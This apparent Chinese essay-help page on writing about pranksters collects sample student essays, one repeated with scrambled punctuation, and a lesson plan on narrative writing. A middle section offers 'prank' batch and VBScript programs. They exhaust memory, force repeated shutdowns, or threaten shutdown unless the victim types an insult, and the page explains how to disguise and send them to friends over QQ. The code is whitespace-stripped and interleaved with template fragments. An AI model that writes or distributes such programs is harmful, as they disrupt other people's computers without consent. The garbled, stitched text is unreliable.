捉弄人的作文怎么写

详细内容

篇一:《爱捉弄人的好朋友》

爱捉弄人的好朋友

从小到大、我有许许多多的朋友“有要好的/也有不要好的“有喜欢捉弄人的”也有学习成绩优秀的’而我最喜欢那个爱捉弄人的好朋友。

她--一头乌黑光亮的短头发'一双似泉水般清净明澈而又大的眼睛、一张爱笑的脸/和一张能说会道的嘴，加上她那优越的身材-胖'又矮点’使人觉得她很聪明?很可爱"给人一种稚气未脱的感觉'她十分喜欢捉弄人"而又挂着一副笑脸;她就是我的好朋友－周彦利“她的爱好广泛/比如看电视"玩电脑、看书等,不过她最痴迷于书’好书一旦被她发现。就会拼了命去借“可她借了以后”要过好长时间才还'我以为她对好书恋恋不舍呢！！原来是她借来的书太多太多了’她都看不过来了！可她的好词好句资料库的内容非常多,作文成绩十分优异;有一次"还得了作文金奖呢！

不过;她最爱捉弄人/也特爱捉弄我;那次’老师把周彦利调到我的面前。我感到我的灾难降临了！有一天?老师让前后位交流自己对问题的办法时/我转过头来与我后面的张颖交流?过来四五分钟。我转过头来一看;我的铅笔盒不见了，我想,，周彦利是我的好朋友。应该不会拿我的铅笔盒吧？这四五分钟谁也可以拿走呀"我又问了一遍我周围的人;都说不知道“看他们的表情”是一副全然不知的表情：目标只能锁定在周彦利身上了,我问她。/大周?你拿我的铅笔盒了吗？”。没拿?她说"。真的？?我问"、不信你翻我位洞和书包'’她大声说"显然她有点生气了“我翻了一遍之后还是没有,最后周彦利说?"其实”是我拿的：我只想捉弄一下你。你铅笔盒被我放在我的书包下面了,说完便笑了起来、

不过/有了这个爱捉弄人的好朋友;整天沉浸在快乐的空气中：这样生活下去"想不快乐都难、我喜欢她、这个爱捉弄人又带给我欢声和快乐的好朋友’

篇二:《爱捉弄人的好朋友》

爱捉弄人的好朋友

从小到大，我有许许多多的朋友，有要好的，也有不要好的，有喜欢捉弄人的，也有学习成绩优秀的，而我最喜欢那个爱捉弄人的好朋友。

她--一头乌黑光亮的短头发，一双似泉水般清净明澈而又大的眼睛，一张爱笑的脸，和一张能说会道的嘴。加上她那优越的身材-胖，又矮点，使人觉得她很聪明，很可爱，给人一种稚气未脱的感觉。她十分喜欢捉弄人，而又挂着一副笑脸。她就是我的好朋友－周彦利。她的爱好广泛，比如看电视、玩电脑、看书等。不过她最痴迷于书，好书一旦被她发现，就会拼了命去借。可她借了以后，要过好长时间才还。我以为她对好书恋恋不舍呢！原来是她借来的书太多太多了，她都看不过来了！可她的好词好句资料库的内容非常多，作文成绩十分优异，有一次，还得了作文金奖呢！

不过，她最爱捉弄人，也特爱捉弄我。那次，老师把周彦利调到我的面前。我感到我的灾难降临了！有一天，老师让前后位交流自己对问题的办法时，我转过头来与我后面的张颖交流，过来四五分钟，我转过头来一看，我的铅笔盒不见了，我想："周彦利是我的好朋友，应该不会拿我的铅笔盒吧？这四五分钟谁也可以拿走呀，我又问了一遍我周围的人，都说不知道，看他们的表情，是一副全然不知的表情，目标只能锁定在周彦利身上了。我问她："大周，你拿我的铅笔盒了吗？""没拿"她说，"真的？"我问。"不信你翻我位洞和书包。"她大声说，显然她有点生气了。我翻了一遍之后还是没有。最后周彦利说："其实，是我拿的，我只想捉弄一下你，你铅笔盒被我放在我的书包下面了"说完便笑了起来。

不过，有了这个爱捉弄人的好朋友，整天沉浸在快乐的空气中，这样生活下去，想不快乐都难，我喜欢她，这个爱捉弄人又带给我欢声和快乐的好朋友。

篇三:《爱捉弄人的好朋友》

爱捉弄人的好朋友

从小到大，我有许许多多的朋友，有要好的，也有不要好的，有喜欢捉弄人的，也有学习成绩优秀的，而我最喜欢那个爱捉弄人的好朋友。

篇四:《愚人节捉弄人小程序》

第一个:让别人内存OVER(逼他重启)

@echooff

startcmd

就这3行了

打开“开始→程序→附件→记事本”，把代码部分复制进去，点“另存为”，路径选“你想要放的地方”，保存类型为“所有文件”，文件名为“你想要的名字.bat”，你的批量处理器就完成了。

第二个:让对方重启指定次数(害人专用)

@echooff

ifnotexistc:1.txtecho.>c:1.txt&gotoerr1

ifnotexistc:2.txtecho.>c:2.txt&gotoerr1

ifnotexistc:3.txtecho.>c:3.txt&gotoerr1

ifnotexistc:4.txtecho.>c:4.txt&gotoerr1{捉弄人的作文怎么写}.

ifnotexistc:5.txtecho.>c:5.txt&gotoerr1

gotoerr2

:err1

shutdown-s-t0

:err2

上面可以让对方电脑重启5次后不在重启，当然如果你修改一下加个ifnotexistc:6.txtecho.>c:6.txt&gotoerr1那就是重启6次

改成7就是7次...

第三个:善意恶搞关机

首先呢,我们在桌面创建个新文件夹然后打开,在上面找到-工具T-文件夹选项O-查看

把隐藏已知文件类型的扩展名前面的勾去掉.

然后我们开始制作.在桌面建立个记事本,然后把下面代码复制进去

onerrorresumenext

dimWSHshellA

setWSHshellA=wscript.createobject("wscript.shell")

WSHshellA.run"cmd.exe/cshutdown-r-t60-c""说我是猪，不说我是猪就一分钟关你机，不信，试试···""",0,true

dima

dowhile(a<>"我是猪")

a=inputbox("说我是猪,就不关机，快撒，说""我是猪""","说不说","不说",8000,7000)

msgboxchr(13)+chr(13)+chr(13)+a,0,"MsgBox"

loop

msgboxchr(13)+chr(13)+chr(13)+"早说就行了嘛"

dimWSHshell

setWSHshell=wscript.createobject("wscript.shell")

WSHshell.run"cmd.exe/cshutdown-a",0,true

msgboxchr(13)+chr(13)+chr(13)+"哈哈哈哈，一切皆有可能~"

复制之后呢,把后缀修改为.vbs或者改变打开方式为应用程序，这样你再压缩下用QQ发给你朋友，对方打开了就在60秒内要关闭计算机，

结束任务都不行，他只能说他是猪才能解决问题。够坏吧？注意哦，你可以把我是猪那个修改成任意想说的话，要是对付你喜欢的人，

就修改成我爱你这样他只有说我爱你之后才不关闭计算机哦也可以把时间修改为20就是说打开了20秒就关了,还没等对方打完就关机了是不是叫对方很郁闷呢?

第四个:让人崩溃的关机程序

首先你可以看下面的

WScript.Echo("嘿，谢谢你打开我哦，我等你很久拉！"&TSName)

WScript.Echo("你是可爱的XX童鞋吗?")

WScript.Echo("哈,我想你拉，这你都不知道吗？")

WScript.Echo("怎么才来，说~是不是不关心我")

WScript.Echo("哼,我生气拉，等你这么久，心都凉啦。")

WScript.Echo("夜黑很生气，后果很严重哦。")

WScript.Echo("嘿嘿！你也会很惨滴哦")

WScript.Echo("是不是想清除我？")

WScript.Echo("那你要点上50下哦，不过会给你惊喜滴")

WScript.Echo("还剩49下，快点点哦")

WScript.Echo("还剩48下，快点，小笨蛋！")

WScript.Echo("还剩47下对，就这样快点点！")

WScript.Echo("还剩46下。你啊就是笨，要快哦，我先不打扰你工作。")

WScript.Echo("还剩45下，记得要快哦！")

WScript.Echo("还剩43下")

WScript.Echo("还剩42下")

WScript.Echo("还剩41下")

WScript.Echo("还剩40下")

WScript.Echo("还剩39下")

WScript.Echo("还剩38下"){捉弄人的作文怎么写}.

WScript.Echo("还剩37下")

WScript.Echo("还剩36下")

WScript.Echo("还剩35下")

WScript.Echo("还剩34下")

WScript.Echo("还剩33下")

WScript.Echo("还剩32下")

WScript.Echo("还剩30下")

WScript.Echo("还剩29下")

WScript.Echo("还剩28下")

WScript.Echo("还剩27下"){捉弄人的作文怎么写}.

WScript.Echo("还剩26下")

WScript.Echo("还剩25下")

WScript.Echo("还剩24下")

WScript.Echo("还剩23下")

WScript.Echo("还剩22下"){捉弄人的作文怎么写}.

WScript.Echo("还剩21下")

WScript.Echo("还剩20下")

WScript.Echo("还剩19下")

WScript.Echo("还剩18下")

WScript.Echo("还剩17下"){捉弄人的作文怎么写}.

WScript.Echo("还剩16下")

WScript.Echo("还剩15下")

WScript.Echo("还剩14下")

WScript.Echo("还剩13下停停！！！慢点，我有话要说")

WScript.Echo("还剩12下，你继续点我就会消失滴")

WScript.Echo("还剩11下，以后就看不到我拉。呜呜~555555")

WScript.Echo("还剩10下，你现在可以选择停止！")

WScript.Echo("还剩9下。你还点啊，不要我拉？")

WScript.Echo("还剩8下，有点伤心拉，干嘛丢弃人家")

WScript.Echo("还剩7下。疯了，你有点负意！")

WScript.Echo("还剩6下。对。你就点吧，我恨你！")

WScript.Echo("还剩5下，不明白，删除我你就好吗？")

WScript.Echo("还剩4下！真要删除我？")

WScript.Echo("还剩3下。可是我真的很眷恋你。。。")

WScript.Echo("还剩2下。不要这么绝情嘛，人家是爱你的！")

WScript.Echo("还剩1下。哼，既然你这么绝情。也别怪我无义！！！")

WScript.Echo("我本因该消失的，不过我留恋你滴芳容，万能的上帝又给了一次机会。")

WScript.Echo("想结束我么?那你就再多点一次")

篇五:《写人作文》

写人

教学目的：培养孩子从生活中“取菜”（找素材），并巧用“调料调菜”（描写方式，修辞手法）将人物形象跃然纸上。

教学内容：肖像刻画、典型事例的基本写作技巧及文章结构

教学重点及难点：画素描体现人物个性特征（肖像描写与典型事例无缝衔接突出人物个性特征），摆脱脸谱化。

教学过程

第1课时（8:30至9:15）

导入

同学们看看今天咱们要一起分析的课题，然后想想咱们身边都有哪些不同身

份的人呢？

亲人（爸爸、妈妈、兄弟姐妹、爷爷、奶奶、伯父等）

朋友（）

邻居（）

老师（）

农民（）

陌生人（）

那么同学们思考一下怎么才能区别出不同身份的人呢？（秘密武器：肖像刻

画、典型事例）

外貌描写也叫肖像描写，是通过对人物的容貌、神情、衣着、姿态、语

调、外貌特征的描写。来揭示人物性格的一种方法。人物的的外貌和人物内心世界密切的联系，具体说：通过外貌描写，使人物的形象更丰满，能给读者留下深刻印象；通过外貌描写，揭示人物的身份；通过外貌描写，展示人物在特定场合的内心世界；通过外貌描写，表现人物性格、精神面貌和思想品质。总之，外貌描写要和表现人物特点、突出文章的中心思想紧密配合。外貌描写要传神，切忌脸谱化，反对那种部分主次，从头写到脚、千人一貌的写法。

典型事例法“取菜”（选取恰当而有情趣的事例：多事例突出多元个性立体

的人、多事例突出人物最突出的个性）

我的朋友李佳

我的朋友李佳梳着有型的三七式发型，总喜欢以牛仔裤饰身，一看就是性情

中人。从认识他到现在，总是见他一身牛仔。有的时候所穿牛仔与乞丐不分上下。对于这一着装，他向我解释道：‚凉快。‛所以在炎热夏季的体育课上，他吃了不少好处。不过天有不测风云，在一次压腿准备活动中，也许是他跨得幅度太大了，‚嘶‛的一声，居然把裤子撕裂，他的脸涨得像个红富士，只好自我解嘲地说：‚这下可好了，我觉得更凉快了。‛说罢，便脱下上衣系在腰间以遮丑，迅速潜回教室。李佳平时酷爱打扮。某日上化学课时，从窗外吹来一阵风，把他花了1小时25分36秒打造出来的三七式‚溜冰场‛发型给吹乱了。他的第一反应是从课桌里面取出他的震发之宝——一把已断了柄的梳子和一块只有1/4巴掌大的镜子聚精会神地梳理头发。不料被明察秋毫的化学老师发现了，老师以迅雷不及掩耳之势夺了他的法宝，并严厉地训斥了他。哪知，李佳却道：‚爱美之心，人皆有之。还我法宝镜与梳。‛弄得众人狂笑不已，老师哭笑不得，李佳趁机把他的法宝‚夺‛了过来，然后一本正经地坐好。不过，后来趁老师不注意，他又偷偷地拿出来将头发摆弄

了几下。真是‚头可断，发型不可乱。‛这还不算什么，还有更厉害的在后头呢。我们初中的地理老师的头顶简直是不毛之地，只有头下部有那么一圈儿头发。一日，该师讲解地中海气候的降水量与气温的月分配图，要我们联想一个与其特征相似的东西，以便记忆。这时，李佳大声说：‚老师，像你的头。‛该师怒道：‚你若说不出道理来，看我怎么治你。‛我们都替他捏着一把汗。只见李佳不慌不忙地说：‚地中海气候七月份温度高，降水少，所以把您的头顶晒成了不毛之地；一月份、十月份气温低，降水多，过多的降水量把您的头发冲到了‘下游’„„‛我们笑得差点背过气去，老师气得差点背过气去。此后，地中海气候我们想忘也忘不了。这就是我朋友李佳，够臭美，够滑稽，够搞笑的吧。

《朋友李佳》一文，则选用了体育课上牛仔裤撕裂、化学课上对镜梳头、地

理课上拿老师的头开涮等三个典型事例把李佳同学的臭美、滑稽、搞笑、又不乏聪明的个性品质表现得淋漓尽致

他就是这样

他就是这样‚风光无限好，只是近秋天„„‛吟诗者谁？还有谁——杨云轩

呗。这个自称是苏东坡再世，李太白再生的家伙，这样的诗也吟得出口，还摇头晃脑的，真服了他。一会儿工夫，‚噪声‛停了，他又在干嘛呢？看他那鬼鬼祟祟，神秘兮兮的的样子，准没有好事。走过去一看，哇，简直可以气死二百只蚊子，五十只苍蝇！他竟然把我的橡皮擦当蚊香在烧。还美其名曰‚杨氏蚊香‛。我环顾四周，没人。刚一下手，就传出一阵呻吟声。这呻吟声不是他的，而是我的。事后，他对我的一个朋友说：‚那天，那小子自不量力，来找我PK，我先一个百步神拳，然后一个降龙十八掌，最后一个佛山无脚，把他给踢飞了。哈，够厉害吧！‛。我可不想再理他。可没过一个星期，他又来找我。我往他脸上一瞧，他什么时候有了这么一双青红黑紫的眼睛？他叹了口气：‚自古英雄多磨难呀！天天一堆人来追我。‛‚你小子走桃花运了？‛我故作惊讶地说。惊讶的背后可含着无尽的笑容，哪个小子替我出了这口恶气，爽呀！‚运你个头，都是你害的。那天在你朋友面前吹牛后，天天有人追着我打。‛他气愤地说完，又补充道：‚这下你心理该平衡了吧。‛我笑了笑：‚你活该。‛后来，有人告诉我，他为了与我和好，涂了颜料来蒙我。真拿他没办法，他就是这样——爱捉弄人。有一天，他郑重其事地对我说，从今往后，改邪归正，再也不捉弄人了。一连几天，他都非常老实，我以为他真的改头换面了，也就不再提防他。一天早晨，我跑到教室刚坐下，就觉得不对劲，一摸，屁股全湿了。啊，有水！我回头一看，他正冲我奸笑。唉，我又上当了。

真拿他没办法，他就是这样。

《他就是这样》一文写了“他”烧橡皮，涂颜料蒙“我”，弄湿“我”的坐

凳等三个事例，突出了“他”特爱捉弄人的个性。

第2课时（9:25至10:10）

同学看完上面的两篇文章是不是觉得写得特别好呢？那咱们一起看看他写得

好的原因吧？（典型事例是取菜，那么什么是做菜的调料呢？）

做菜的调料:描写方式

1.语言描写语言描写有对话和独白两种。对话是两个人或几个人的谈

话；独白是人物的自言自语。语言是人物内心世界的直接表露，对表现人物的思想性格起重要作用。有个性特点的语言可以起到“闻其言，见其人”的作用。语言描写要注意以下两点：一是文章中人物的语言要精心筛选，把那些足以能表现人物的个性特点、最能表现中心思想的语言，写进文章中；二是好的语言描写，一定是符合当时的情景，符合人物的性格、身份、性别、年龄和文化修养等方面

的特点。对话描写有四种形式：说的话写在后面，说话人后面用引号；说的话在前，说话人写在后，用引号、句号；前后各引一句或几句，中间交代谁说的，用逗号；只写人物语言，不写说话人。这四种形式要根据实际需要灵活事业，避免行文死板。

2.动作描写动作描写是通过人物的行动、动作，来表现人物的思想性

格的一种方法。一个人的行为、动作，往往是他的思想感情、性格特征的最真实的外化。看一个人，不仅要听他怎么说，更要卡他如何做，正所谓“听其言，观其行”，因此，动作描写是直接刻画人物形象，展示人物精神面貌，把人物写“活”的重要手段。那么，怎样描写人物的动作呢？首先，要选择关键性的动作来写。一个人做事的时候，会有许多动作。但他们不可能、也没有必要把这些动作一个不少地都写出来。这就要求选择那些关键性的、最有意义的动作来写。其次，要写准确。同一个动作可以用很多动词来表示，但只有那些有特色，最能反映人物气质的动词，才能把人写“活”。有一位作家说过，最难的不是写动作，而是写出有特点的动作，从动作中写出人来。

3.心理描写心理的人物内心的活动，是无声的语言。人物内心世界，指人

物内心的喜、哀、乐、忧伤、犹豫、嫉妒、向往等复杂的感情。在写人的文章中，恰当地描写人物心理，可以更有效地刻画人物，突出中心思想。心理描写的要求是：要真实，要有根据；人物的心理变化要自然，合情合理；心理描写要为文章的中心思想服务；在描写人物的心理活动时，要客观、谨慎，不能以己之心，度人之意。小学生作文时，大多采用第一人称（“我”活“我们”），采用这种人称作文，就不能用“他想”的形式来写人物的心理活动，因为“我”不可能钻到别人的脑子里去看。此时，可以换一种方式——在描写人物的语言、神态、动作上下功夫，这样可能更合情理，使人感到真实可信。心理描写除了用“我想”之外，还可以采用以下几种方法。（1）提出问题，引入所想的内容。（2）使用假设，流露心理活动。（3）字里行间，流露着“想”。（4）直接抒发心中所想。

通过上面的秘密武器同学都知道怎么写活一个人了，可是怎样让读者能一

下子找到行文的路子呢？

几个事例的先后安排必须有序，事与事之间衔接过渡也要自然而鲜明，也就

是要要有意识地突显出文章的结构，使文章脉络分明，有章可循。可以用人、事、物等一线贯穿，也可以用过渡语衔接，还可以用小标题明示，用地点词或时间词暗示。

文章的结构：并列式（文章内容无主次之分）、总分式（先总述后分述）、

对照式（文中两部分内容进行对比）、逐层递进式（文章各部分内容逐层深入）

第3课时（10:20至11:05）写作时间

第4课时（11:15至12:00）评讲及修改定稿

写事

教学目标：培养孩子从生活中提取写作“素菜”（即写作素材），利用各种“调料调

菜”(即描写方式等)，实现源于生活，高于生活。

教学内容：记叙文的六大要素、写事的基本技巧

教学重点及难点：灵活掌握六大要素，并将核心写具体、生动，让人身临其境，实现

情景再现。

导入

同学们，你们身边是不是每天都会发生很多的事呢？那你们有没有某件事（一些比较有趣的、感人的、难忘的、后悔的、兴奋的等事）在你的大脑中像放电影一样重复出现？那如果现在让你用文字的方式，记录你身边的这些触动你心灵的事，你知道怎么让它们富有生机的跃然纸上吗？咱本堂课就会教给你一些“诸葛在世，锦囊妙计，写事夺冠”的方法，这些方法只要你认真听讲，你就能掌握的住（用英语说是如此简单SOEASY!）。下面用举例法讲妙招

妙招1：掌握记叙文的六大要素（时间、地点、人物、事件的起因、经过、结果），现在跟老师一起分析下面这篇文章的六大要素是什么？

童年趣事

在我十三年的童年生活中有许多有趣的事，像许多颗星星在天空中发出耀眼的光芒。这时

有一颗小星星发出了璀璨的光芒，呼唤我们前去。我们一起去看看小星星在向我们叙述有趣的回忆，也就是我的童年趣事。仔细听听吧！

记得那是一个炎热的夏天，天上的太阳像一个红红的大球，热辣辣的烤着大地，晒的树

叶都打了卷儿。忽然，听到一阵咯咯咯的声音。那时我还不懂事，不知这声音来自哪里，就问妈妈：“那怪声音是什么意思？”妈妈说：“那是母鸡要下蛋了，下了蛋你就能吃到炒鸡蛋了。”我抵挡不住炒鸡蛋的诱惑。【于是，我悄悄的来到了后院，轻手轻脚的走到那只老母鸡的身旁，猛地向前扑去，不料那厮向前奔去，我摔了个嘴啃泥。我气不打一处来，一向号称“猛女”的我怎能让一只鸡给打倒，我定了定神又向那只鸡走去，终于抓住了。我抱着老母鸡来到鸡窝旁，对它说：“听话，手术开始了。”我拿起一根小棍插入鸡屁股，不停地搅。鸡大声叫着，终于，鸡受不了了从我手中挣脱向前疯跑。我追在她后面大叫：“别跑，手术还没做完呢。”妈妈大概听到了动静到了后院来看，看到我追着鸡满院子乱跑时，笑的前仰后合。】

那件事已经过去很久了，可我却仍然记忆犹新。

找寻六大要素：

时间：记得那是一个炎热的夏天。

地点：家里

人物：妈妈、小作者

起因：小作者抵挡不住炒鸡蛋的诱惑

经过：

结果：

同学们那么六大要素是要求必须都派上用场吗？

回答：NO!

怎么用呢？它们六个再文章中谁占的分量最多（即谁是重点）？

回答：经过是写事类文章的核心，重点描写对象，其他五要素根据文章需求写入文章，不

用都上场。

怎样把经过写具体？

回答：划分法、重点描写（重要情节、场面）法

划分法：要把“经过”部分分成几步，必须按照一定的顺序来写。事情的经过，总是有先

后顺序的，总是要随着时间的推移或地点的变换而发展变化的。这就需要同学们依据“经过”的先后顺序和发展变化的过程，认真地想一想：这件事的“经过”部分大体可以分为

捉弄人的作文怎么写

详细内容

猜你喜欢